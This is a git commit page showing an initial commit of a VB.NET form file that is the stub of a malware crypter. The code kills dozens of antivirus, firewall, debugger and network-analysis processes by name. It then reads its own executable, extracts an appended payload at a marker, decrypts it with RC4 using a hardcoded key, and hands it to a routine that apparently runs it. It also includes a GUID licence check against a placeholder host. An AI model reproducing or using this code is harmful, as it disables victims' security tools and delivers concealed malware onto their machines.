initial commit
This commit is contained in:
i2p
@@ -0,0 +1,246 @@
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Imports System.Management
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Windows.Forms
|
||||
|
||||
Public Class Form1
|
||||
Dim ilikepie As String
|
||||
|
||||
Sub boobies()
|
||||
Dim squirelaids As String
|
||||
Dim squirelaids1 As String
|
||||
Dim squirelaids2 As String
|
||||
Dim squirelaids3 As String
|
||||
'Getsquirelaids
|
||||
|
||||
'Encrypt
|
||||
squirelaids1 = ("Wåñt3Ð" & squirelaids & "güid" & squirelaids & "untainted1337")
|
||||
|
||||
squirelaids3 = WaNtINAtE(squirelaids + squirelaids1 + squirelaids2)
|
||||
ilikepie = WaNtINAtE(squirelaids3)
|
||||
End Sub
|
||||
|
||||
|
||||
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim random As New Random()
|
||||
Return random.Next(min, max)
|
||||
End Function
|
||||
Public Function GetRandom() As String
|
||||
Dim builder As New StringBuilder()
|
||||
builder.Append(RandomString(4, True))
|
||||
builder.Append(RandomNumber(1000, 9999))
|
||||
builder.Append(RandomString(2, False))
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim builder As New StringBuilder()
|
||||
Dim random As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||||
builder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return builder.ToString().ToLower()
|
||||
End If
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
Function WaNtINAtE(ByVal strToHash As String) As String
|
||||
Dim md5Obj As New Security.Cryptography.MD5CryptoServiceProvider
|
||||
Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash)
|
||||
Dim strResult As String = ""
|
||||
For Each b As Byte In bytesToHash
|
||||
strResult += b.ToString("x2")
|
||||
Next
|
||||
Return strResult
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub CheckIfPieTastesGood()
|
||||
Dim bob As New WebBrowser
|
||||
Dim mygui As String
|
||||
mygui = GetPage("http://yoursite.com/secure_guid.php?guid=" & ilikepie)
|
||||
If Not mygui.ToString.Equals("yes") Then
|
||||
bob.Navigate("http://")
|
||||
MsgBox("Please activate your guid first!", MsgBoxStyle.Critical, "Error!")
|
||||
End
|
||||
End If
|
||||
End Sub
|
||||
Function kav()
|
||||
|
||||
Dim JrsGhost As Process() = Process.GetProcesses
|
||||
Dim i As Integer
|
||||
For i = 0 To JrsGhost.Length - 1
|
||||
Select Case Strings.LCase(JrsGhost(i).ProcessName)
|
||||
Case "keyscrambler"
|
||||
JrsGhost(i).Kill()
|
||||
Case "wireshark"
|
||||
JrsGhost(i).Kill()
|
||||
Case "anubis"
|
||||
JrsGhost(i).Kill()
|
||||
Case "mbam"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avp"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ollydbg"
|
||||
JrsGhost(i).Kill()
|
||||
Case "outpost"
|
||||
JrsGhost(i).Kill()
|
||||
Case "npfmsg"
|
||||
JrsGhost(i).Kill()
|
||||
Case "bdagent"
|
||||
JrsGhost(i).Kill()
|
||||
Case "egui"
|
||||
JrsGhost(i).Kill()
|
||||
Case "zlclient"
|
||||
JrsGhost(i).Kill()
|
||||
Case "navapsvc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avkwctl"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsav32"
|
||||
JrsGhost(i).Kill()
|
||||
Case "mcshield"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ntrtscan"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avguard"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ashServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "AVENGINE"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avgemc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "tmntsrv"
|
||||
JrsGhost(i).Kill()
|
||||
Case "gcasServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "SpybotSD"
|
||||
JrsGhost(i).Kill()
|
||||
Case "Ad-Aware"
|
||||
JrsGhost(i).Kill()
|
||||
Case "sunasServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "spysweeper"
|
||||
JrsGhost(i).Kill()
|
||||
Case "PPActiveDetection"
|
||||
JrsGhost(i).Kill()
|
||||
Case "msscli"
|
||||
JrsGhost(i).Kill()
|
||||
Case "Tmas"
|
||||
JrsGhost(i).Kill()
|
||||
Case "swdoctor"
|
||||
JrsGhost(i).Kill()
|
||||
Case "spycatcher"
|
||||
JrsGhost(i).Kill()
|
||||
Case "nisum"
|
||||
JrsGhost(i).Kill()
|
||||
Case "MpfService"
|
||||
JrsGhost(i).Kill()
|
||||
Case "blackd"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsdfwd"
|
||||
JrsGhost(i).Kill()
|
||||
Case "smc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "zlclient"
|
||||
JrsGhost(i).Kill()
|
||||
Case "persfw"
|
||||
JrsGhost(i).Kill()
|
||||
Case "efpeadm"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsguiexe"
|
||||
JrsGhost(i).Kill()
|
||||
Case "kpf4gui"
|
||||
JrsGhost(i).Kill()
|
||||
Case "pccpfw"
|
||||
JrsGhost(i).Kill()
|
||||
End Select
|
||||
Next
|
||||
End Function
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
a = 1
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
Return returnCipher
|
||||
End Function
|
||||
|
||||
Const filesplit = "@Toxicisthebest@"
|
||||
Public Shared Function StrToByteArray(ByVal str As String) As Byte()
|
||||
Dim encoding As New System.Text.ASCIIEncoding()
|
||||
Return encoding.GetBytes(str)
|
||||
End Function 'StrToByteArray
|
||||
Function ToByte(ByVal s As String) As Byte()
|
||||
Return System.Text.ASCIIEncoding.ASCII.GetBytes(s)
|
||||
End Function
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
kav()
|
||||
On Error Resume Next
|
||||
Dim TPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\"
|
||||
Dim file1, filezb4(), filezafter, fd As String
|
||||
|
||||
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
|
||||
file1 = Space(LOF(1))
|
||||
FileGet(1, file1)
|
||||
FileClose(1)
|
||||
filezb4 = Split(file1, filesplit)
|
||||
filezafter = rc4(filezb4(1), "Toxicisthebest")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Dim CryptedFile As Byte()
|
||||
CryptedFile = System.Text.Encoding.GetEncoding(1252).GetBytes(filezafter)
|
||||
dd.makeit(CryptedFile, Application.ExecutablePath)
|
||||
|
||||
|
||||
|
||||
End
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
End Class
|
||||
Reference in New Issue
Block a user